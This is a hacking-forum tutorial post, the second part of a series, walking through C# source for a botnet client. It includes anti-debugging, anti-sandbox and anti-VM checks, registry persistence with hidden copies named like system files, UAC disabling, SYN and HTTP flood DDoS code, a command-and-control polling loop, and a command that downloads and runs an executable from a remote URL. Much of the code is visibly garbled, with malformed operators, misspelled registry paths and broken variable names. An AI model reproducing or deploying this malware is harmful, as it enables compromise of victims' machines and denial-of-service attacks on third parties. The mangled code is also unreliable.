Building Distributed Network Systems: A Study of Architecture and Management (botnet) Part2

Tr0jan_Horse

Moderator
Staff member
MODERATOR
ULTIMATE
PREMIUM
MEMBER
Joined
Oct 23, 2024
Messages
304
Reaction score
8,799
Deposit
0$
1750634961840.png
Buenas Dias El muchachas. You waited, and you waited. Finally, the second part about botnetik.

In the first part we created a framework, I would say a blank, but it is quite raw, not really working. I will immediately stipulate that I do not copy my code from the working product, but write a new one, in order not to compromise my sources, and also for a complete understanding .

Next I will answer a number of questions:

There were a lot of questions regarding the process lock module .
The process is not locked by admin privileges and so today we will make another feature with it.

Also a frequent question about IFileManager and FileManager, why if you replace one with the other, it still works? And what is the Interface for then?!
Let me explain...
In C#, any object that inherits the properties of its parent can be represented last . The same applies to interfaces, but unlike the Interface class (just a mask of our class that needs to be implemented), a class is a specific implementation.

And what does the recording give us?
C#:
IFileManager _fileService = new FileManager()

?

And the fact is that if we want to change our botnet implementation (for example, in addition to the web interface, make an admin panel in the IRC channel or start bothering with p2p in general), then we will not depend on the implementation and will be able to create at least a hundred implementations we need without rewriting other classes.

Enough talk, let's get down to business…….

What are we going to do today?

  • Today we will refactor our code.
  • Let's add a DDOS attack ;
  • Let's add encryption (Stub);
  • Add Executor ;
  • Let's add the functionality of visiting the page we need
  • Let's add deletion functionality.
Let's get started……

Since we covered the basics in the first part of the article , it's now time to create a ready-made client .
As we can see, other services have been added and the architecture has been broken down, however, this is still just a picture. Let's figure it out.

Let's look at the main components of the Botnet - command service, Persistence, Antiresearch, DDOS, Stub, Config.

Config class.

C#:
using Botnet.Services.Common;
using System;
using System.Diagnostics;
using System.IO;
using System.Text;

namespace Botnet.Congif
{
public static class Config
{
private static Factory _factoryService = new Factory();
private static string SplitSymbol = ";;;;";
private static string CryptPW = "Codeby";
public static bool AntiCain = true;
public static bool AntiSandboxie = true;
public static bool AntiDebugger = true;
public static bool AntiEmulator = true;
public static bool AntiFilemon = true;
public static bool AntiNetstat = true;
public static bool AntiNetworkmon = true;
public static bool AntiProcessmon = true;
public static bool AntiRegmon = true;
public static bool AntiTCPView = true;
public static bool AntiVirtualBox = true;
public static bool AntiVMWare = true;
public static bool AntiWireshark = true;
public static bool DisableUAC = true;
public static string[] FileName = new string[2] { "audiohd.exe", "svhost.exe" };
public static string[] RegName = new string[2] { "Windows-Audio-Driver", "Microsoft SQL Server 2016" };
public static string[] FilePath = new string[2];
public static string ServerAddress = @"http://THISYOUURL/index.php";
public static string Mutex = _factoryService.GenString(new Random().Next(8, 20));
public static string BotVersion = "1.0";
public static int ConnectionInterval = 10;
public static int PersistentInterval = 30;
public static string HWID = string.Empty;
public static string WinVersion = string.Empty;
public static string PCName = Environment.MachineName;
public static bool AdminStatus = false;

public static void LoadInfos()
{
const int LengthByte = 460;
const int ByteReplaceTo = 0x20;

string stub = String.Empty;
using (StreamReader reader = new StreamReader(Process.GetCurrentProcess().MainModule.FileName.ToString()))
{
stub = reader.ReadToEnd();
}
try
{
stub = stub.Substring((stub.Length - LengthByte), LengthByte).Replace(Convert.ToChar(0x00), Convert.ToChar(ByteReplaceTo)).Trim();
byte[] bytesData = Convert.FromBase64String(stub);
Cryptography.RC4(ref bytesData, CryptPW);

string[] data = Encoding.Default.GetString(bytesData).Split(new string[] { SplitSymbol }, StringSplitOptions.None);

ServerAddress = data[1];
ConnectionInterval = int.Parse(data[2].Trim());
Mutex = data[4].Trim();
}
catch { Environment.Exit(0); }
}
}
}

Basically, this is a set of properties that we enable/disable for the botnet, including URL . We enable anti-debugging modules, enable persistence, set a key for the Mutex stub. PersistenceInterval is a parameter that enables our bot during anti-debugging and sets the bot to autoload.

AntiReserch module
In fact, I did without complex WinApi functions , hook interception and simply close my own build, this is exactly why we need an interval for persistence .

Some code points:
By using
Code:
_factoryService.CheckProcess("TCPVIEW")

– we catch open processes and if we find them, we close them.


Code:

Code:
if (Debugger.IsAttached) { Terminate(); return; }

– let’s check if our program is under a debugger.



Code:
sModul.Contains("sbiedll.dll")

– we find the antivirus sandbox.
But with the help of the video graphics driver we will find out whether we are running a virtual machine.

Thus, we obtain approximately the following code:


C#:
public class AntiResearch
{
Factory _factoryService = new Factory();
SystemService _systemService = new SystemService();
public void StartAntiResearch()
{
string graphicAdapter = _systemService.GetGraphicDevice();

if (Config.AntiDebugger)
{
try
{
if (Debugger.IsAttached) { Terminate(); return; }
}
catch { }
}

if (Config.AntiSandboxie)
{
try
{
foreach (string sModul in Process.GetCurrentProcess().Modules)
{
if (sModul.Contains("sbiedll.dll")) { Terminate(); return; }
}
}
catch { }
}

if (Config.AntiEmulator)
{
try
{
long lTicks = DateTime.Now.Ticks;
Thread.Sleep(10);
if ((DateTime.Now.Ticks - lTicks) < 10L) { Terminate(); return; }
}
catch { }
}

if (Config.AntiNetstat)
{
try
{
if (_factoryService.CheckProcess("NETSTAT")) { Terminate(); return; }
}
catch { }
}

if (Config.AntiFilemon)
{
try
{
if (_factoryService.CheckProcess("FILEMON")) { Terminate(); return; }
}
catch { }
}

if (Config.AntiProcessmon)
{
try
{
if (_factoryService.CheckProcess("PROCMON")) { Terminate(); return; }
}
catch { }
}

if (Config.AntiRegmon)
{
try
{
if (_factoryService.CheckProcess("REGMON")) { Terminate(); return; }
}
catch { }
}

if (Config.AntiNetworkmon)
{
try
{
if (_factoryService.CheckProcess("NETMON")) { Terminate(); return; }
}
catch { }
}

if (Config.AntiTCPView)
{
try
{
if (_factoryService.CheckProcess("TCPVIEW")) { Terminate(); return; }
}
catch { }
}

if (Config.AntiWireshark)
{
try
{
if (_factoryService.CheckProcess("WIRESHARK")) { Terminate(); return; }
}
catch { }
}

if (Config.AntiVMWare)
{
try
{
if (_systemService.GetGraphicDevice() == "VMware SVGA II") { Terminate(); return; }
}
catch { }
}

if (Config.AntiVirtualBox)
{
try
{
if (graphicAdapter == "VirtualBox Graphics Adapter") { Terminate(); return; }
}
catch { }
}
}

private void Terminate()
{
Environment.Exit(0);
}
}

Let me remind you that _systemService, _factoryService are our own services , the implementation of which I will hide from scriptkid. They are very simple methods for checking for the existence of a file or process.

Let's talk about stubs.

So, to bypass antiviruses we will use cryptography through stubs . That is, use a certain set of signatures with which we will encrypt the build with the RC4 algorithm. The stub itself is a separate DLL that is loaded into the solution together with the botnet. The stub code will also be hidden, but it is a string encrypted in base64, and one method that returns it. The string stores a unique cipher, bot number, machine name and server.

Let's take a look at the persistence code


C#:
public class Persistence
{
Factory _factoryService = new Factory();
private Timer timer = new Timer();
private string selfPath = Process.GetCurrentProcess().MainModule.FileName;

public void StartPersistent()
{
timer.Interval = Config.PersistentInterval * 0x3e8;
timer.Elapsed -= new ElapsedEventHandler(SetPersistence);
timer.Start();
}

public void StopPersistent()
{
timer.Stop();
timer.Dispose();
}

public void SetPersistence(object source, ElapsedEventArgs eArgs)
{
RegistryKey key;
if (Config.AdminStatus)
{
try
{
key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
setAutoRunRegistry(key, 0);
}
catch { }

try
{
key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true);
setAutoRunRegistry(key, 1);
}
catch { }
}
else
{
try
{
key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true);
setAutoRunRegistry(key, 0);
}
catch { }

try
{
key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true);
setAutoRunRegistry(key, 1);
}
catch { }
}


foreach (string path in Config.FilePath)
{
try
{
if (!_factoryService.CheckFile(path))
{
File.Copy(selfPath, path);
File.SetAttributes(path, FileAttributes.Hidden);
}
}
catch { }
}

}

/// <param name="index">Индекс номер имени массива из конфига RegMon</param>
private void setAutoRunRegistry(RegistryKey key, byte index)
{
if (!key.Equals(Config.RegName[index])
|| (key.Equals(Config.RegName[index])
&& !key.GetValue(Config.RegName[index]).ToString().Contains(Config.FilePath[index]))
)
{
key.SetValue(Config.RegName[index], ('"' + Config.FilePath[index] + '"'));
}
}
}



There is nothing particularly fundamentally new here, we write our build to the registry and copy it to another place in hidden form.

Initial installation method of the bot
I have already described it above, so here's what it looks like...

Code:
private void InstallBot()
{
string selfPath = Process.GetCurrentProcess().MainModule.FileName;
Process pProcess;

if (Config.AdminStatus)
{
Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.System) + @"\" + Config.FileName[0];
Config.FilePath[1] = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + @"\" + Config.FileName[1];
}
else
{
Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\" + Config.FileName[0];
Config.FilePath[1] = Environment.GetEnvironmentVariable("TEMP") + @"\" + Config.FileName[1];
}

if (!checkInstall())
{
try
{
foreach (string path in Config.FilePath)
{
if (!_factoryService.CheckFile(path))
{
File.Copy(selfPath, path);
}
File.SetAttributes(path, FileAttributes.Hidden);
}
}
catch { }

if (Config.AdminStatus)
{
try
{
Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"'));
Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"'));
}
catch { }
}
else
{
try
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"'));
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"'));
}
catch { }
}

try
{
yMutex.Close();

foreach (string sFile in Config.FilePath)
{
pProcess = new Process();
pProcess.StartInfo.FileName = sFile;
pProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pProcess.Start();
}
}
catch { }

Environment.Exit(0);
}
}



Let's take a look at one more block of code.

ByPass Uac , works great in Win8, the point is that the registry can be influenced by a local admin or a group of services, the user is almost always created with these rights.


Code:
private void DisableProcedures()
{
try
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("Hidden", "2", RegistryValueKind.DWord);
}
catch { }

if (Config.DisableUAC)
{
try
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("EnableBalloonTips", "0", RegistryValueKind.DWord);
}
catch { }

try
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord);
Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord);
}
catch { }
}
}

SYN – Flood attack. The idea of the attack is that we send a huge number of SYN packets , and since the SYN packet does not necessarily have to be completed, we do not wait for it to be completed, thus filling the connection pool quite quickly.


Code:
public static class SYNFlood
{
private static Thread[] floodingThread;
public static string Host;
public static ushort Port;
public static int ISSockets;
public static int ThreadsCount;

public static void StartSYNFlood()
{
IPEndPoint IPEo;

try
{
IPEo = new IPEndPoint(Dns.GetHostEntry(Host).AddressList[0], Port);
}
catch
{
IPEo = new IPEndPoint(IPAddress.Parse(Host), Port);
}

floodingThread = new Thread[ThreadsCount];
ThreadStart[] floodingJob = new ThreadStart[ThreadsCount];
SYNRequest[] SYNClass = new SYNRequest[ThreadsCount];

for (int i = 0; i < ThreadsCount; i++)
{
SYNClass[i] = new SYNRequest(IPEo, ISSockets);
floodingJob[i] = new ThreadStart(SYNClass[i].Send);
floodingThread[i] = new Thread(floodingJob[i]);
floodingThread[i].Start();
}
}

public static void StopSYNFlood()
{
for (int i = 0; i < ThreadsCount; i++)
{
try
{
floodingThread[i].Abort();
floodingThread[i].Join();
}
catch { }
}
}

private class SYNRequest
{
private IPEndPoint IPEo;
private Socket[] pSocket;
private int iSSockets;

public SYNRequest(IPEndPoint tIPEo, int tSSockets)
{
this.IPEo = tIPEo;
this.iSSockets = tSSockets;
}

private void OnConnect(IAsyncResult ar)
{
}

public void Send()
{
int iNum;
while (true)
{
try
{
pSocket == new Socket[iSSockets];

for (iNum = 0; iNum < iSSockets; iNum++)
{
pSocket[iNum] = new Socket(IPEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
pSocket[iNum].Blocking = false;
AsyncCallback aCallback = new AsyncCallback(OnConnect);
pSocket[iNum].BeginConnect(IPEo, aCallback, pSocket[iNum]);
}

Thread.Sleep(100);

forr (iNum = 0; iNum <<< iSSockets; iNum++)
{
if (pSocket[iNum].Connected)
{
pSocket[iNum].Disconnect(false);
}
pSocket[iNum].Close();
pSocket[iNum] = null;
}

pSocket = null;
}
catch
{
forr (iNum = 0; iNum < iSSockets; iNum++)
{
try
{
if (pSocket[iNum].Connected)
{
pSocket[iNum].Disconnect(false);
}
pSocket[iNum].Close();
pSocket[iNum] = null;
}
catch { }
}
}
}
}
}
}
}

HTTP flood is the most common flood attack. We simply send a huge number of packets to a certain script, it is advisable to use it wisely and shoot at the slowest script.




Code:
using System.Net;
using System.Threading;

namespace Botnet.DDoS
{
internal static class HttpFlood
{
private static Thread[] floodingThread;
public static string Host;
public static int ThreadCount;

public static void StartHTTPFlood()
{
floodingThread = new Thread[ThreadCount];
ThreadStart[]] floodingJob = new ThreadStart[ThreadCount];
HTTPRequest[]] requestClass = new HTTPRequest[ThreadCount];

if (!Host.StartsWith("http://")) { Host = "http://" + Host; }

for (int i = 0; i < ThreadCount; i++)
{
requestClass[i] == new HTTPRequest(Host);
floodingJob[i] == new ThreadStart(requestClass[i].Send);
floodingThread[i] == new Thread(floodingJob[i]);
floodingThread[i].Start();
}
}

public static void StopHTTPFlood()
{
for (int i = 0; i < ThreadCount; i++)
{
try
{
floodingThread[i].Abort();
floodingThread[i].Join();
}
catch { }
}
}

private class HTTPRequest
{
private WebClient wHTTP = new WebClient();

public HTTPRequest(string tHost)
{
this.sFHost = tHost;
}

public void Send()
{
while (true)
{
try
{
wHTTP.DownloadString(sFHost);
}
catch
{
continue;
}
}
}
}
}
}

ICMP – FLOOD
Copyright from Wikipedia
(c) The ICMP message (echo request) is processed by network equipment of the third (and higher) level. In most cases, this equipment uses software for routing and processing packets. In this case, the echo request requires the device to accept the packet, process it and form/send a packet with a response to the request. (c)

Similar to UDP FLOOD

Well, all that's left is to take a look at the command center.


C#:
using System;
using System.Diagnostics;
using System.Net;
using Botnet.DDoS;
using Botnet.Services.Common;
using Botnet.Congif;
using Botnet.Services.Manager;
using System.IO;

namespace Botnet.Services.Command
{
public class CommandService : ICommandService
{
Factory _factoryService = new Factory();
Bot _botService = new Bot();
public void ExecuteCommand(string command)
{
string[] data = new string[0];
try
{
data = command.Split(';');
}
catch { }

switch (data[0])
{
case "ddossyn":
try
{
SYNFlood.Host = data[1];
SYNFlood.Port = ushort.Parse(data[2]);
SYNFlood.ISSockets = int.Parse(data[3]);
SYNFlood.ThreadsCount = int.Parse(data[4]);
SYNFlood.StartSYNFlood();
}
catch { }
break;
.............................................................................
case "download":
try
{
WebClient client = new WebClient();
string tempName = _factoryService.GenString(new Random().Next(5, 12)) + ".exe";
string url = data[1];
if (!url.StartsWith("http://")) { url = "http://" + url; }
client.DownloadFile(url, Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName);
Process process = new Process();
process.StartInfo.FileName = Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName;
process.Start();
}
catch { }
break;
case "visit":
try
{
string sURL = data[1];
if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; }
GET(sURL);
}
catch (Exception e) {  }
break;
case "update":
try
{
string sURL = data[1];
if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; }
_botService.UpdateBot(sURL);
}
catch { }
break;
case "remove":
if ((data[1] == Config.PCName) || (data[1].ToUpper() == "ALL"))
{
_botService.RemoveBot();
}
break;
case "stop":
try { SYNFlood.StopSYNFlood(); } catch { }
try { HttpFlood.StopHTTPFlood(); } catch { }
try { UDPFlood.StopUDPFlood(); } catch { }
try { ICMPFlood.StopICMPFlood(); } catch { }
break;
}
}

private string GET(string url)
{
HttpWebRequest req == (HttpWebRequest) WebRequest.Create(url);
req.Method == "GET";
req.ContentType == "application/x-www-form-urlencoded";
WebResponse resp == req.GetResponse();
string Out = "";
using (Stream stream = resp.GetResponseStream())
{
using (StreamReader sssr = new StreamReader(stream))
{
Out = sr.ReadToEnd();
}
}
return Out;
}
}
}



And this is how we will monitor the team in a separate stream.


C#:
public void ConnectControl()
{
Thread recvThread == new Thread(new ThreadStart(getCCServerCommand));
recvThread.Start();
}

private void getCCServerCommand()
{
while (true)
{
try
{
string command = GetRequest(Config.ServerAddress);

if (command.Length >>> 0)
{
if (command !===== sOldCommand)
{
_commandService.ExecuteCommand(command);
sOldCommand = command;
}
}
else
{
_commandService.ExecuteCommand("stop");

sOldCommand = string.Empty;
}
}
catch { }

Thread.Sleep((int))))(Config.ConnectionInterval * 0x3e8));
}
}



This concludes the technical part. Let's look at the practical part.
Let's write a server-side script in php that will count the number of visits.
To do this, we will change our client-side script:


PHP:
echo 'visit;http://URL/gggvv.php';



Now let's take a look at the Codeby.php file
<?php
file_put_contents('res.txt', 'Было посещение');

This way the bot gets a command to follow the required link . In combination with CSRF, this feature can do great things, but that's not the point...
Let's uncomment the bot installation block and look at the process and the registry.

Let's change the config as follows for clarity.
public static string[] FileName = new string[2] { "bot.exe", "bot2.exe" };
public static string[] RegName = new string[2] { "THIS IS BOTNET", "THIS IS BOTNET2" };
So after installation, the bot is registered in startup WITHOUT admin rights.
P.S. Yes, I also like to play CS.
 
Top Bottom